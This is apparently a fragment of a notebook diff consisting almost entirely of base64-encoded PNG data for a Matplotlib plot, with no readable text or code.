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", + "image/png": "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